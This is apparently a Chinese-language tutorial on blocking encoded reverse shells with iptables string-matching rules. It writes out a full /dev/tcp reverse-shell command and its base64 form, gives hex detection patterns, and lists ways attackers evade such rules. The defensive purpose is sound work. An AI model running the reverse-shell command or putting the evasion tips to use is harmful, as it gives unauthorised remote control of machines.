iptables可通过xt_string模块匹配载荷中十六进制特征码,如用--hex-string "|596d46736843|" --algo bm匹配base64编码的"bash",需结合协议、端口等条件防误杀,但对https加密流量和tcp分片无效。

iptables 本身不支持直接匹配应用层十六进制特征码(如 YmFzaCAtaSA+JiAvZGV2L3RjcC8= 这类 Base64 字符串),它工作在网络层和传输层,只能基于 IP、端口、协议、TCP 标志位、连接状态等做过滤。但可通过 xt_string 模块实现对数据包载荷(payload)中指定字符串或十六进制字节序列的深度匹配——这是拦截编码类反弹 Shell 的关键能力。
确认系统支持 xt_string 模块
该模块非默认启用,需检查是否已加载:
- 运行
lsmod | grep string,若无输出,尝试加载:modprobe xt_string - 验证是否可用:
iptables -m string --help,能显示帮助即支持 - 部分精简内核(如某些容器或云镜像)可能未编译此模块,需重装内核或改用其他检测手段
编写十六进制特征规则拦截常见编码反弹
Base64、URL 编码、十六进制字符串常出现在混淆后的反弹命令中。例如原始命令 bash -i >& /dev/tcp/192.168.1.100/4444 0>&1 经 Base64 编码后为 YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTAwLzQ0NDQgMD4mMQ==,其前缀 YmFzaC(对应 "bash")是强线索。
可将关键片段转为十六进制并写入规则:
-
echo -n "YmFzaC" | xxd -p→ 得到596d46736843 - 添加匹配规则(仅匹配出站流量中的可疑载荷):
iptables -A OUTPUT -m string --hex-string "|596d46736843|" --algo bm -j DROP -
--algo bm表示使用 Boyer-Moore 算法提升匹配效率;-A OUTPUT针对本机向外发起的连接(反弹 Shell 主要行为)
组合多特征 + 限定上下文提升准确率
单独匹配短字符串易误杀(如正常 Base64 图片传输也含 YmFzaC)。应叠加协议、端口、方向等条件:
- 只在 TCP 连接且目标端口为高危端口(如 4444、5555、8080)时触发:
iptables -A OUTPUT -p tcp --dport 4444 -m string --hex-string "|596d46736843|" --algo bm -j DROP - 同时匹配多个编码特征(如 Base64 开头 + 常见重定向符号):
iptables -A OUTPUT -p tcp -m string --hex-string "|596d46736843|" --algo bm -m string --hex-string "|3e2631|" --algo bm -j DROP
(3e2631是>&1的十六进制) - 避免影响 DNS、HTTP 等合法流量:不匹配 53、80、443 端口,或加
--dport ! 53
实战注意事项与局限性
这类规则有效,但有明确边界:
- 仅匹配明文传输的载荷;HTTPS、TLS 加密流量中无法解密,xt_string 完全失效
- 无法处理分片传输:若 Base64 字符串被 TCP 分片跨包,单包匹配失败 → 可配合
--from和--to限定偏移范围,但增加复杂度 - 性能开销随规则增多上升,生产环境慎用大量
string规则,建议优先部署在跳板机或网关设备 - 绕过容易:攻击者改用变量拼接、多次 base64 嵌套、或切换为 Python/PHP 等脚本载荷,特征立即失效










